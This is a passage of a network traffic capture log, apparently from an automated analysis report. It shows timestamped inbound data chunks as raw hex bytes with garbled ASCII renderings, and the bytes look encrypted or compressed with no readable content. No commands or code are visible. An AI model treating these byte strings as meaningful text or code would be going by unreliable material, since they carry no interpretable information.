38 f6 89 75 87 93 99 05 71 73 db ea f3 de 84 d8 f9 9a 64 51 Data Ascii: *yBdhO~%xZJhohOk_0YimGi\|X:Bj#>Dw@Z/Ya=C8Nw{j6<@I >ZYCWeQ@#g`r3) '0#Xo:=[azG sYBvk8uqsdQ
2021-12-28 17:13:33 UTC	2019	IN	Data Raw: 9d 0b 6b 6f 9f 2c 2d 63 84 37 cd 7a 3c cc 0d 3a e3 98 f8 98 f9 c8 7d e5 bd 11 d7 79 87 aa 4e c5 d5 ac cb d8 30 f5 14 22 40 d7 f2 f5 f5 d5 7f 4a 7d 92 bb c9 f7 fa cb fd 25 05 ce d3 f6 59 b3 56 38 fb 5d 45 0f f9 ca d4 e8 9e 97 f2 e8 95 b4 e3 6a 2b bd d8 bd 93 90 c5 b3 b6 fa dc e9 8b ed 82 6d 20 ab 56 2c dc c8 53 a3 e1 8d fc 6b 3b 30 ef c5 51 7f 8b c8 b3 a9 89 1c b6 93 1a 4c 18 52 34 8d 2a c2 17 b3 d0 1d de eb 8f c9 0e b7 9d ef 51 32 53 6d 9c 8a 2a 18 dd c0 4b 17 83 8d 6e b0 50 70 3b fd db 33 ae 1e 5c 00 77 d0 7a 35 b3 71 32 c1 1a fe dd 0a 12 55 1f 21 5a f9 35 80 8f 6b a6 88 e6 0f 0c 90 32 d8 73 fe 7e 59 57 2f b1 72 c7 be 61 6e c1 90 3d ae bf 2f 80 d6 80 e4 18 31 ca 5f b5 92 6d 8c 47 94 8e b8 9c 76 5c 9a 5f 03 5e f8 36 43 8f 12 27 8d c8 1c 9b 42 b5 18 a1 9c Data Ascii: ko,-c7z<:}yN0"@J}%YV8]Ej+m V,Sk;0QLR4Q2SmKnPp;3\wz5q2U!Z5k2s~YW/ran=/1_mGv\_^6C'B
2021-12-28 17:13:33 UTC	2035	IN	Data Raw: 2d a3 c2 b0 1e d8 a9 95 36 91 7d 7f 65 34 dd 7a 96 d8 a7 9c 98 ff 66 45 f2 32 91 1b a7 12 73 fb 91 22 3e 98 7e 7c c9 ad b1 43 99 c7 c5 b6 2e 7f 32 40 cc ef 2b 58 6d e2 67 f7 ef 2e 40 ac e5 16 d3 b0 b4 d3 bf 4c 59 6e b6 74 5e 1d 6a 20 ec b0 e8 17 59 53 c1 63 59 36 19 12 d8 71 8e 4d 14 6f 74 83 60 98 73 b2 82 15 ca d8 16 c9 5a 0e f0 f9 ca fc 97 5f f0 1e f6 31 c6 e3 25 64 dc c7 39 49 bb 4b df dd 9f ee 89 d5 88 fe 4e a2 e5 16 66 a6 0f 13 d6 c1 8b 11 d8 24 4d ff 7b fc 94 42 12 15 53 7d e7 f9 cc fd cf cc f3 4e d0 59 a0 8c 6e b5 5d 3a 23 a3 91 43 44 f4 c6 26 62 6c 56 c1 df 74 41 6d 5f 57 e6 14 a9 b7 eb a5 7d 62 8f 5f a5 6c 27 6d f3 90 a5 7f 7e 8a b9 a4 48 89 fc d5 93 5a 38 e7 20 82 2a 99 60 1f 9e 45 c5 c9 17 67 75 9e 5c ca 31 16 70 bf 2c 0d 98 7a 38 fb 21 d6 0f Data Ascii: -6}e4zfE2s">~\|C.2@+Xmg.@LYnt^j YScY6qMot`sZ_1%d9IKNf$M{BS}NYn]:#CD&blVtAm_W}b_l'm~HZ8 *`Egu\1p,z8!
2021-12-28 17:13:33 UTC	2051	IN	Data Raw: bc b6 9b 17 f3 56 9d f9 d5 e4 9a 5d 67 87 b7 d5 73 e9 37 32 d2 21 78 7f b8 fe 79 ea 17 da 1a a3 77 10 47 f4 81 38 52 a4 f5 ff 69 4f 42 0c f9 4a 0a ff 3d 41 8e 27 15 0f 9d bc 7a ca e6 df e6 bb 4c 53 bc 4d 53 ea 7b aa 78 20 f9 d2 ab 48 41 8d 0c b6 b6 94 de 0e d5 31 f0 0a 33 f8 0c 46 59 01 de af 76 8e 98 74 b3 59 b6 b8 53 18 03 32 19 bc 29 b8 ee 4e 96 cb 1f 2b 04 75 c0 05 05 91 34 04 42 db 58 de ae 7c 1a 9b c8 ef 88 56 b8 f8 2d 00 b2 ba fa d3 e7 5c b5 fe 77 c0 b5 61 7c 5e 8f 5c 53 b2 de 73 dd 29 68 f1 b0 43 b1 0e 69 e5 94 0e dc 99 dd 59 90 a6 a1 53 b9 d9 ca 93 5a 44 d4 58 a2 04 bc 57 94 94 2f f0 a0 5c 93 a7 0a 06 b6 9b 5d 4c 5f 23 af 28 ea 53 d4 2c 03 9a 7a 67 c9 0f 2f 37 a7 f9 31 02 24 18 3e ad 19 6b c8 ae f1 f3 bb 5f 47 23 93 fa ef 41 17 00 d9 60 ba f3 69 Data Ascii: V]gs72!xywG8RiOBJ=A'zLSMS{x HA13FYvtYS2)N+u4BX\|V-\wa\|^\Ss)hCiYSZDXW/\]L_#(S,zg/71$>k_G#A`i
2021-12-28 17:13:33 UTC	2067	IN	Data Raw: d3 20 b1 8c 37 42 2f 5d ee 5c da 4c 13 97 73 19 ae 41 c5 07 25 1b 2c da 23 65 1c ed df 5e 0a f2 6c e4 09 5e 97 46 36 df b3 e5 9f 64 63 55 e0 f9 7a 1e 13 86 fb 65 ce 4b e1 05 c2 df 1a 28 88 bd 88 ce 60 17 14 7d fe bc 0d 6e 92 66 03 12 18 96 d3 22 fb b7 a2 c3 bd 51 2b 48 e8 e5 32 3e 65 8d ec 23 c1 5e 79 79 ee 9f 17 39 fc 4c aa 4a a9 8c 69 d6 70 3d 64 36 d7 cc 06 6b 8e 39 15 8e 07 a7 85 9d df 8b 2d 31 c5 39 fc 98 ab 3b b7 6c 4b 88 95 01 f3 94 73 de 9d 6c cb 6a ec 20 98 37 a3 99 8b 66 50 ce 15 12 3d f9 50 49 c9 96 c8 fe d6 3e 80 cf ad c7 dd 4b 05 61 b2 67 f2 60 41 8b f9 aa cf 9b 95 85 df 7c 92 71 10 7d 94 b2 a0 f2 01 19 a4 ec 1e e0 5e a5 cd de e9 44 d1 5a f2 2b 2e 75 21 56 19 07 a1 e5 2e b1 22 30 02 0d ea 7e 16 22 7d 68 b2 16 cd fa f4 57 1f fe a7 d5 1d e7 7b Data Ascii: 7B/]\LsA%,#e^l^F6dcUzeK(`}nf"Q+H2>e#^yy9LJip=d6k9-19;lKslj 7fP=PI>Kag`A\|q}^DZ+.u!V."0~"}hW{
2021-12-28 17:13:33 UTC	2083	IN	Data Raw: 59 34 aa 38 29 dd 4c cc d3 27 9e 4f 54 62 a6 fa 3e 9d fa 1a 20 bd 73 5b 1a af ec 49 d3 8d d8 35 ce 52 41 b0 ba 4a 59 53 14 6c 03 bc bb 05 27 b6 18 b5 73 25 82 8e 49 d9 b2 b7 8c f9 08 2a 0f 98 60 c9 79 18 2e 83 b6 af 40 f7 de 40 19 8c 7e 13 35 a1 85 66 c0 31 ff 16 8f b4 68 05 c7 a7 df 2a 1a d1 7f b3 4e af 14 df 16 01 51 c5 f3 67 3d 97 f8 a0 28 f0 30 8b 31 d6 53 b3 1e b5 0c b8 83 6a 54 32 a5 9e 78 ad 54 85 10 f7 f0 40 0c b6 db 7f 45 8a 37 68 0e ed f4 4c ba 09 f3 5c 6c 88 db cd ee 46 fe 9b 2e b3 4b 0b 96 10 d8 2d 50 1c f3 1c 69 0c c6 1a 8c f7 d3 2c dd f9 61 f2 eb b9 dc 37 9a a7 40 15 6b 9d 13 e9 9e 0c d3 4e 98 fd 85 b7 4f bc d2 12 fc 15 cd 62 97 6b e8 4a ea d1 96 72 6e 79 2b c3 56 9d c8 09 d8 e1 0e 2c 66 f7 09 bd c3 fd ba 9c 22 f8 a5 df 4e 13 14 fd 56 e0 ba Data Ascii: Y48)L'OTb> s[I5RAJYSl's%I`y.@@~5f1hNQg=(01SjT2xT@E7hL\lF.K-Pi,a7@kNObkJrny+V,f"NV
2021-12-28 17:13:33 UTC	2099	IN	Data Raw: 56 fc d7 1d 92 8f 7a 05 80 a6 ed 10 ed 67 69 44 53 3b 58 f7 17 ed 87 ef b9 d2 d2 57 87 a2 b1 6a a2 b4 d9 f8 51 14 de 6f 0b 89 59 3b 1a ac b5 d6 22 45 85 5f 28 a8 c6 fb 84 a7 bc 50 93 4c 60 73 af 1e 70 e8 d9 18 34 c7 2c 77 87 d7 23 db 60 03 74 ed b2 b0 5f 7d 23 7a 2c a2 f9 e0 90 b0 f2 a8 f5 78 32 00 5a 54 ac 8d e0 3e e7 b9 f5 55 b0 3c 2e 85 bf 19 aa 6c 90 99 88 4c 46 4f 64 9c d1 4c eb b7 49 47 4a 40 fb 64 fa 63 64 fe 7b f5 20 18 4d d9 82 e8 ce d4 70 7b ae fa d5 17 26 5e 5f f5 90 9a 1b 28 c0 e9 a5 d4 e6 94 ab ee 1d 5b e8 42 bc b6 2d 39 07 4f 54 d5 ad 39 56 71 1b 7d 4c b3 4c 5d b3 22 f0 97 e7 eb ef 4e 0c 2d e0 55 e3 b5 66 e6 f4 9b 60 31 a2 d0 87 ef 21 fb da e5 a1 bd ab a9 d1 bf 27 62 af df a9 15 18 7e 49 30 0f 36 a5 14 ce d2 0b f9 9c 93 c4 6a 71 ae 25 7b f9 Data Ascii: VzgiDS;XWjQoY;"E_(PL`sp4,w#`t_}#z,x2ZT>U<.lLFOdLIGJ@dcd{ Mp{&^_([B-9OT9Vq}LL]"N-Uf`1!'b~I06jq%{
2021-12-28 17:13:33 UTC	2115	IN	Data Raw: 05 5b fa 7b df 45 38 eb cf f1 3e 1f 71 2d 61 38 6b ef d2 fa eb 55 8a 00 eb 34 71 48 bc 24 08 2b fc b4 ae ed 5f 15 5e 51 5a d3 ff ad 7a 79 96 88 d7 44 22 67 be 49 2f 47 21 13 5c ac aa 13 e8 3c 48 2c d3 67 36 a7 7b 67 95 6c 92 26 8d 34 5d 88 6f 88 53 3c 7b a4 4e a9 47 c5 f3 ad 58 e7 16 e8 a9 10 05 9e 15 f6 cc 05 ab a2 a6 4a 5a 36 99 18 43 9e f1 4d 39 c7 b1 ee 9a 87 89 f0 62 0a eb 67 6f ed a0 25 74 78 3d 95 77 d1 34 8f e6 a6 d2 49 87 56 07 3e c5 ab 6e e1 40 ec 99 db 85 73 38 73 6c c5 69 84 6e 8b 21 5b 07 28 d8 b2 b9 2b c2 78 f4 77 7e a7 08 27 08 e2 b0 e4 d5 d6 3d 9e 63 96 06 ce 44 58 23 e2 95 ce d4 00 53 fc 75 5c 30 d4 18 f2 9b 7e 7b c3 cc 0d 31 5c ac 52 46 00 77 21 03 10 0f 0c 0b bb c6 8f 4a 26 03 b5 70 e2 f6 91 ea 91 61 67 61 55 70 63 75 67 a8 6b 66 85 27 Data Ascii: [{E8>q-a8kU4qH$+_^QZzyD"gI/G!\<H,g6{gl&4]oS<{NGXJZ6CM9bgo%tx=w4IV>n@s8slin![(+xw~'=cDX#Su\0~{1\RFw!J&pagaUpcugkf'
2021-12-28 17:13:33 UTC	2131	IN	Data Raw: c1 2b 40 6f 01 60 80 f4 b0 f9 7a cc 86 fa 6f e7 1c 55 b6 d2 b9 f2 6d 81 5a 16 5b d8 c6 40 cc 06 13 7a f7 80 87 5a f1 00 3a bf c6 2e af 34 03 af 97 3b 30 f7 9b 7f d5 fb b7 2b a1 c6 24 67 de c0 90 08 b2 ec af 46 1c ee 5d 95 d4 b5 5e 46 6e 18 80 90 55 a6 95 07 e8 7c 87 80 c0 e6 aa 77 b3 c4 97 e4 12 2b f0 ed 61 e6 04 6f 45 c0 2e 8d aa 42 64 c8 24 a4 41 9c 65 d8 a0 90 97 fc 7b 7c a3 fe 41 bf 0b 13 41 26 70 6a bb 99 e5 86 5a ea 84 05 aa 70 6a 24 07 4d 07 6a 7f 8c 52 27 14 9c 62 85 c3 45 83 7f d5 33 d5 17 7b 50 60 e3 99 3e ff 98 81 eb 11 a3 96 69 e9 33 06 3a 95 71 05 77 96 48 9e 54 36 52 be 8a b4 5b 48 64 f8 bf 6b 0d 91 61 cc c3 8f 1f df 2c bd 77 70 39 57 83 46 f2 79 77 af 88 38 97 6e a5 ae 5c 5c ef e7 fd 02 64 10 c0 88 b1 f0 7a bd b8 3a d7 a4 d9 bf ce c4 39 48 Data Ascii: +@o`zoUmZ[@zZ:.4;0+$gF]^FnU\|w+aoE.Bd$Ae{\|AA&pjZpj$MjR'bE3{P`>i3:qwHT6R[Hdka,wp9WFyw8n\\dz:9H
2021-12-28 17:13:33 UTC	2147	IN	Data Raw: 2e a6 de a0 e8 76 b8 97 50 65 d8 90 70 21 35 c2 2b 07 61 88 87 a7 45 61 6c 06 40 b0 49 b6 f6 dd 0a c7 33 0f 94 bc 7c 9a f2 45 93 07 00 7b f2 90 79 b9 d1 fe 52 13 a7 4c 7b 70 18 cc f8 58 18 90 c7 33 8a 3f 15 38 f3 f5 4d 06 59 ca ed 92 2e 84 bb 6e 8f 07 bd 54 d3 e9 68 dd 93 0b 57 59 ad 45 60 90 01 1b 90 67 38 4c f4 a4 45 56 5b 9f f1 fc ef 46 8a f2 63 d8 42 da 29 64 89 53 43 ff 1c 44 82 f7 ec 68 7d 2b 84 d2 d1 06 d5 61 ee 33 18 58 0d 6c 5b 6f 95 d4 0a 46 f6 54 f2 2d a0 80 8c 90 fb b1 60 26 43 37 e8 b8 ec bf 30 d0 df 9c 12 9c 73 b4 e0 81 e7 70 3f 9d 9b 5a 66 36 5f aa 21 7b 38 d7 8d b3 3d f2 3d ae 02 f7 e0 a0 79 d1 08 32 c2 c2 d7 9e 31 9f 75 1c a2 75 be e9 67 40 b2 f8 d9 d0 e9 47 8d 91 f4 82 60 a7 73 cc bb 8d 5f b0 a2 e6 9f 6e 6d 10 fb 74 42 94 8b d7 3f 40 9d Data Ascii: .vPep!5+aEal@I3\|E{yRL{pX3?8MY.nThWYE`g8LEV[FcB)dSCDh}+a3Xl[oFT-`&C70sp?Zf6_!{8==y21uug@G`s_nmtB?@
2021-12-28 17:13:33 UTC	2163	IN	Data Raw: 25 28 21 8f 0b 95 de 23 0b 72 47 f2 33 5c 04 77 36 78 34 de b4 0a 38 c3 f3 96 ab a5 75 26 76 32 ce 4d 4e 6c 13 80 2f 30 a0 16 ad 4f ef a1 d7 75 76 0f b6 9a 5e fb a0 c1 c1 b5 d3 12 2c 8f 28 04 46 84 d2 93 94 8e 33 ce 6a 58 e6 86 b1 2a 03 2c 35 e0 1d ba 53 ca da b7 a3 6d 10 59 5c ec 03 6d ae 8b e4 5d 70 70 a0 e8 06 3b 3c 22 60 bb 8a 00 af f1 b4 86 d1 5c 0e ea ec 06 5e 8a 43 ca 23 b3 18 05 ac d1 e1 eb 7e 46 12 a9 75 67 26 02 3c 58 ee 40 66 e1 1d 6b cd 16 92 9c 4a ce b6 4f 95 34 07 6c 4c 5f de c6 2c cf 49 4c f5 fc b7 71 e4 0f c2 63 ce f1 3e e8 b9 93 06 9f d7 95 3d f9 33 9e d2 ed 38 0b 75 3f 6f 76 a3 92 2a a5 b4 81 0f e0 84 27 8d 4d 41 c5 9f 1f 74 56 7a a7 88 50 55 84 c9 65 8b d3 22 71 4d fe 2a a4 e0 c7 b5 24 ff ec e1 e7 d9 75 aa bd fc 6c 85 3e a3 7a db 9a b9 Data Ascii: %(!#rG3\w6x48u&v2MNl/0Ouv^,(F3jX,5SmY\m]pp;<"`\^C#~Fug&<X@fkJO4lL_,ILqc>=38u?ov'MAtVzPUe"qM*$ul>z
2021-12-28 17:13:33 UTC	2179	IN	Data Raw: f8 78 5c 73 89 29 a8 30 1d 56 21 06 94 6b 83 51 74 a0 b4 8e e5 48 6a 51 40 51 10 10 75 58 53 e1 25 34 6b 71 2c 5f c0 c1 a4 9f 60 44 02 9e 18 5a c9 de 93 8c 4d 24 f6 5a 9a 9c df ac 22 f8 18 c6 5a e1 bf f2 c0 6f 28 ef e9 d7 10 10 ec 8c 1e cc 53 fc e7 e0 9e 72 5a bd 8c 26 49 d4 d6 8a 50 10 07 90 25 85 cd 93 19 82 3c 0d 32 4c a0 a6 a8 18 40 45 da eb 5a f0 d9 98 cf 87 f4 ba 1f 02 3f bb fc 6c 85 87 29 ff 11 de 45 e8 bd 8d 92 f4 c3 73 0b e2 75 e4 9b b2 4a 15 36 af 80 db e7 3d 8a c0 a7 be a6 1f e5 09 b6 43 c1 90 eb 6d 71 be 64 38 e9 8e 8e 47 8f 50 7a bd cd bd 2a 94 28 97 fa 49 96 e1 9e 25 3a da f4 9d 61 bc 2c d9 d2 54 09 a2 98 28 6f e7 27 1a 7a 59 45 0d 70 5d d7 b9 2b e6 8c 3b 52 58 d4 e1 94 52 bd 89 8d e9 d6 f3 88 27 36 46 a3 75 28 96 55 72 80 d1 97 82 10 de b3 Data Ascii: x\s)0V!kQtHjQ@QuXS%4kq,_`DZM$Z"Zo(SrZ&IP%<2L@EZ?l)EsuJ6=Cmqd8GPz*(I%:a,T(o'zYEp]+;RXR'6Fu(Ur
2021-12-28 17:13:33 UTC	2195	IN	Data Raw: 68 5c 83 2c 2f b5 24 98 71 0d d6 04 d2 cd 26 c3 84 ca 3b db 4c 72 86 f4 89 be da 73 53 2b 94 60 64 d9 c6 22 36 8d d9 5e 4e 36 3d fc 71 ab b0 af 8c 5e e6 eb 9c d7 02 52 8d ee b4 e1 67 67 7c 9d f2 44 84 b9 9e 4a 0e f3 7d b1 3e d1 40 53 2c dd 19 9f 68 a7 68 66 06 d1 98 6e eb d2 bd 29 98 35 40 7a ef 59 a0 be 8a 0b 5f 78 c5 28 69 d0 44 66 63 ba d5 ea aa 4b 35 df 84 b4 78 c0 4b ec 14 e3 03 fb 02 9c 71 52 bf 51 8d a6 50 28 ef ae aa 1e 65 89 1c dd f2 e6 4a 40 42 31 90 3c 3a 53 59 8e 2e 2f 6a 75 97 1a 7c e1 78 39 53 4d 2c 4f 49 d2 d4 9c 91 07 c2 68 c2 43 54 11 78 69 c2 36 5d 79 ec d6 08 8e 28 b7 0c 3b 1c a8 1f 47 ee 15 c8 c1 62 30 b0 0b 88 36 59 84 d5 fc 0a 04 aa b2 15 6e 21 cc ef 16 c9 8a 83 1b 6e 6f b4 c5 8d ab 67 4c 7a 1b 4c b9 e4 c9 2d 2f 41 cb f1 1c 55 25 96 Data Ascii: h\,/$q&;LrsS+`d"6^N6=q^Rgg\|DJ}>@S,hhfn)5@zY_x(iDfcK5xKqRQP(eJ@B1<:SY./ju\|x9SM,OIhCTxi6]y(;Gb06Yn!nogLzL-/AU%
2021-12-28 17:13:33 UTC	2211	IN	Data Raw: 59 fa d0 21 77 6a ee ce 12 1c 74 c4 d8 39 f8 3b a3 f3 60 71 45 ac dc b6 45 f5 b9 02 aa 55 f4 bd 03 10 d3 5b 0f 94 d1 8a 0c 9e 4d 32 e0 ec e3 69 7c 52 93 9e 5b a3 3e 82 f4 f8 3b b1 60 e7 9d e9 5f cf b6 b6 82 20 ca 12 73 30 24 6c 2a d6 6b 96 69 41 8d 16 bb c1 b5 dc 6b fb 66 86 6d d5 59 68 4d 5f 26 31 a3 e7 c3 7a 2f ed 87 02 5c 66 6d 0f 32 27 94 21 39 9c 0b 6b ea b9 d5 ab cc 68 c3 ed 61 24 98 b1 21 0a 15 55 05 a2 e5 ad 3e 1c 06 58 2a ac e4 e5 c7 cc a2 fd 47 8c 7e a1 c5 e5 9b 6c 09 ff 9a 9d 8f db a9 3c 6c ca cd 3b 21 c5 a3 5e b2 da e2 5a 33 4b 9d 98 47 ae 93 13 70 86 ef ed 05 4a f6 01 f2 53 72 69 6e 13 fa c1 20 71 0a 86 e9 67 f7 72 36 f4 ef 84 c4 7c 83 b0 2f 73 9a 09 5e ca 4d f7 2c e2 6d 70 b2 8a 16 51 e5 63 0b 19 19 89 f8 4d bb c7 58 e4 46 b4 b9 6c 6e 5c b3 Data Ascii: Y!wjt9;`qEEU[M2i\|R[>;`_ s0$lkiAkfmYhM_&1z/\fm2'!9kha$!U>XG~l<l;!^Z3KGpJSrin qgr6\|/s^M,mpQcMXFln\
2021-12-28 17:13:33 UTC	2227	IN	Data Raw: 92 19 53 32 4a 8b 4d 43 8a e3 63 8c f4 36 bc 04 d8 58 8f 4e e9 2f 56 f6 a7 93 6c db 70 a5 6f 99 58 6c 81 32 57 8b 1d b6 c2 ef f7 37 6d b2 3c 8d a8 ea 1f b1 0b e2 c5 1e 8a 9e 1d e8 b7 3a db b9 c6 c8 5a f6 d0 4f 66 ac cb 5c ac c3 46 de 59 26 2f 90 27 3f c1 41 8c 2e 44 4a 9f a7 47 75 00 00 7c df ed fa 89 ae d5 cd 34 8d 56 2a e7 e2 df f2 61 b5 2b 48 2b c8 16 af d7 07 41 49 03 31 c5 af 58 5b b5 bf f4 2d 71 6e 6f f0 fd a9 47 85 ad 62 7d da cd e5 81 eb 08 80 8f e8 be 7d 73 76 d3 90 c3 4b ad 14 de f1 59 ac ab 7d 3a a6 f3 bb 8a 15 6c 6e 8c 13 54 0a e7 1c 82 b5 08 54 1f 23 36 73 13 69 b2 40 94 06 ce 0d 21 3f 5c 45 71 86 af bf 93 5f bc 05 25 b8 7c 63 28 1a eb df 22 cf b6 d4 05 46 64 35 d0 db b2 7f 03 d3 b2 0b 76 ae 56 bc 0c 46 cf 2f 4f c4 c5 ab ed 80 83 c3 af cc 67 Data Ascii: S2JMCc6XN/VlpoXl2W7m<:ZOf\FY&/'?A.DJGu\|4V*a+H+AI1X[-qnoGb}}svKY}:lnTT#6si@!?\Eq_%\|c("Fd5vVF/Og
2021-12-28 17:13:33 UTC	2243	IN	Data Raw: 03 64 b6 5b 6a c9 4c d4 a5 60 82 7f 36 8f 26 29 a6 74 df f0 ef b3 e6 8a 42 09 d8 40 ce 46 ea df 10 56 a6 80 d3 55 da 84 0f 53 42 75 df 47 b1 9b ae be 57 2f 4d a3 38 b8 54 54 ae f9 48 86 1a fa 4c b0 ae 76 9c 64 c1 51 4e 86 c8 8b c1 34 60 7a 6d f0 3d 11 4d 4e 3c 46 b9 18 f1 85 35 5f d6 84 97 df 7c bb 85 8c 6d e9 41 44 2d 92 c2 ab 55 44 96 20 04 27 fe 52 48 fd 23 54 8a 56 c2 1c 97 0f fb 18 9f 5d 72 a2 bf 46 58 29 01 0c 9c 69 1f ee 33 11 16 71 52 7b 7a 39 8a 2d 2d bb b2 54 2b 5f 1b 46 db b1 7f a8 a9 d5 77 49 eb 3d 69 36 cf 3e 98 70 4f e8 4b 4e cc a2 6e 92 e2 5f f4 52 fa 19 50 eb 0e fa d4 4e 1d fb 0b 09 76 d2 c5 f7 45 77 dc ec c2 18 e5 cc 9b 08 70 37 2b 41 47 14 cf 08 d0 6f 30 3e 67 4d 3f ef 2e bf e1 48 dd 2c 34 5d dd 18 9d 7d f4 d6 78 66 00 45 08 12 ce 81 39 Data Ascii: d[jL`6&)tB@FVUSBuGW/M8TTHLvdQN4`zm=MN<F5_\|mAD-UD 'RH#TV]rFX)i3qR{z9--T+_FwI=i6>pOKNn_RPNvEwp7+AGo0>gM?.H,4]}xfE9
2021-12-28 17:13:33 UTC	2259	IN	Data Raw: 27 c3 3c fa 3e 50 0d 79 30 db 61 73 fb 52 6c 13 26 a4 a0 10 48 6f 75 84 7b 7f d2 ec ea a0 fd 44 89 f7 8a c5 23 9d 2c d8 5b 99 fa 81 ef 3c ba 2e d2 9d a6 1c 7d 90 0e 61 8b 62 91 a7 ac 4a df fa 3d ab c7 d2 cf b5 fc 31 86 9f 09 ed 12 57 a6 ff 84 be 74 af bc cb 5b 22 4b 7d 26 9a 2c 3b dd 3e ab 94 9f eb ce b7 79 50 0b e5 e1 df 7c 84 99 58 28 77 f2 ee d6 7d 5a 9a 7e 30 58 9f 45 97 77 19 3d ce 46 4a d1 5c da 64 b0 4f f8 fd 3f 07 c0 3c 04 c5 bf 41 1d 90 90 8f c6 b8 a6 39 32 16 82 99 28 35 a2 60 2b a6 74 4c 90 5c aa 55 bb 47 16 a0 51 b0 a2 0d d5 ec b1 a3 7e 9c 27 cb e0 17 4a 38 1c 3f 06 0c 3d 0c d3 b4 1a e5 81 c2 f3 3d 03 7e ea ad 23 f5 9f fb ca b3 e4 bf b0 66 8f 5c 10 61 48 19 9f 52 71 33 dc 1f a1 1f 3f 85 60 b2 1e 30 89 02 93 35 76 09 3c 13 60 44 7b 4b 93 6e 36 Data Ascii: '<>Py0asRl&Hou{D#,[<.}abJ=1Wt["K}&,;>yP\|X(w}Z~0XEw=FJ\dO?<A92(5`+tL\UGQ~'J8?==~#f\aHRq3?`05v<`D{Kn6
2021-12-28 17:13:33 UTC	2275	IN	Data Raw: 6e b1 93 3c 02 39 e9 df a3 c6 3a d9 ce f3 5c a2 da 0b 78 38 e7 1c 74 2b a9 f8 37 35 1a 20 8b 19 67 4e cd 29 26 41 bf cb 9d 1f b5 da f1 a9 35 27 12 15 fa 6b 15 64 e8 a1 64 89 83 66 29 57 89 f8 ab fe 98 d5 97 7f f9 30 e5 4d d8 e0 06 7a c5 24 9b cb db 7e 1b 3c 12 4f 44 24 8b 91 5a c6 60 7d 34 9d e8 90 92 73 9c a2 b4 0c 42 8e a0 cb dd 26 88 d3 a2 48 5b 5b c9 4c 1a fc 63 dd 70 aa 83 35 c8 23 7e b0 f2 26 61 01 71 d8 cb e5 ec ad 52 e4 3b c9 83 dc 5c 3e 65 a2 10 22 0a 2f 61 ef 45 94 e6 da cc 3e 68 3a 6e d5 4e 9e b4 1b 26 69 c8 89 31 f0 b1 bb 77 f6 22 cc e0 d9 16 8d 83 d3 97 df 47 68 72 a4 71 44 eb 0a 31 45 e8 c8 83 d1 7e 2d 99 82 ac 6b 5a a6 38 9d ce 95 3b e8 6b e1 fa ec c7 cb b7 22 c9 f9 9c ca a2 86 c0 b0 41 a9 98 f7 19 11 45 dc 54 8a 81 31 cf 77 ae fc 3a 1f 18 Data Ascii: n<9:\x8t+75 gN)&A5'kddf)W0Mz$~<OD$Z`}4sB&H[[Lcp5#~&aqR;\>e"/aE>h:nN&i1w"GhrqD1E~-kZ8;k"AET1w:
2021-12-28 17:13:33 UTC	2291	IN	Data Raw: af aa d2 ce 23 57 86 6d 8c 09 95 ff 65 23 2b 33 76 97 ec a4 8a 14 08 f3 f2 24 57 58 d0 7e 9e ad e7 b1 c6 e6 24 e5 a1 01 d3 22 38 79 90 2f 36 cd 78 b4 98 30 32 7b 34 ee ef 8c 7d f1 57 90 0d 84 f4 06 fd 22 43 91 15 ff bb b8 a3 97 60 42 53 8e 04 59 a7 01 32 38 c0 6c 54 56 8c 0c e0 ea 93 a9 a4 b0 4b e0 dd 48 0e 43 9b 89 39 43 ef 07 78 e8 36 d9 a3 69 3f 9c 89 64 b8 5a 99 34 a8 99 5c bb 34 52 5a 08 e9 69 c4 1d 43 37 de 8b 96 e7 98 fc 38 95 cc 0a 4b 95 b4 08 b0 6c fa ba 9f ba 73 7a cc dc 87 58 ca ac 90 27 ac 8a 64 85 1e eb 03 de 81 17 d1 b3 7e 40 35 b6 e4 e2 43 d7 ad 73 31 b2 db 01 5c 1f 05 4b a9 ab d4 a2 28 d2 54 58 16 f8 e9 d9 cd 3a 4b 52 5c 0c 6c 3a e9 eb 8e 85 43 12 a6 d1 63 ee cc 61 56 9b ca db 7e 89 57 6a 94 3b a7 0e 6b 9b 3e 42 83 bb 26 aa c5 38 f3 30 45 Data Ascii: #Wme#+3v$WX~$"8y/6x02{4}W"C`BSY28lTVKHC9Cx6i?dZ4\4RZiC78KlszX'd~@5Cs1\K(TX:KR\l:CcaV~Wj;k>B&80E
2021-12-28 17:13:33 UTC	2307	IN	Data Raw: 59 91 6a 93 f4 f9 c0 a5 fb ad 1d 2a 14 15 8a 64 29 91 fa cf 7e e7 b4 9e ef bb b4 9d 38 34 8c 98 7b 5b de 40 7b b2 0e 5f 6f 62 42 e8 04 1d ba 32 96 32 12 a0 b6 a7 d2 ac 1b 95 c8 e8 77 1f c3 68 25 8a 43 51 3e 27 7e 9e 7f de 13 9e 23 97 83 fb dc 0b 81 3f f7 f1 47 88 94 db 7d 73 a3 5b 07 b9 49 b1 e8 96 45 ac 61 d1 28 ab 70 09 71 7a 80 8f eb ad c3 92 96 79 a7 e5 c9 bc 0f cf 3b 03 e7 da 80 5b a4 f3 59 08 48 fa d9 bd 16 e1 c6 8a 09 3d 50 4a 44 d5 a5 74 01 93 43 84 32 84 6f 27 57 17 f9 0e e9 ba a6 c1 eb 33 ab 99 5c f3 5f 49 1a 30 06 9c 92 0f 03 d4 1a f0 6c e2 4e 2b e3 46 41 b8 3d 70 aa 9e 7e 1a 77 8b 96 aa 1f 6a 86 2f 1b 84 cd da 21 d4 c8 ec 63 fb 56 56 12 c7 06 c0 54 2f 6c 5f 0c 32 78 aa a2 96 83 b4 f1 7c d1 be 4b 71 60 62 a7 0c de 27 d6 2d 65 43 60 c0 9e e2 c2 Data Ascii: Yj*d)~84{[@{_obB22wh%CQ>'~#?G}s[IEa(pqzy;[YH=PJDtC2o'W3\_I0lN+FA=p~wj/!cVVT/l_2x\|Kq`b'-eC`
2021-12-28 17:13:33 UTC	2323	IN	Data Raw: c0 c7 6a cf d7 f0 f8 58 2d 0c 2a ce 27 91 9d 15 d0 03 7c ab e0 87 c0 d5 11 df ca b7 e0 7d 47 5d 03 0b 51 82 19 de 75 5e f6 c4 5d 25 6e a4 a5 00 b3 41 58 5a 5c d8 8a 5a 3f 44 f6 0b 62 26 c4 89 e5 8b bd 9c 26 0c dc d6 11 88 5a a1 43 9b f8 18 c2 12 4b c5 5c a4 c8 2b 00 f0 6e e4 0b af d2 85 fd 11 a5 49 eb 86 25 84 69 11 21 3d 4f 71 15 10 44 fd 7d 58 26 4a ae 2b 69 1d 28 ed af d1 26 47 7d ba 8c e9 57 76 a9 c3 36 b8 d1 29 cc 19 0c 0e 0c bd dc e0 9e 9d ee 4a 8a 76 20 cc 21 84 59 be 2f 0d 1e 29 fa ef e2 5a c1 dc 12 73 12 8f 39 9a 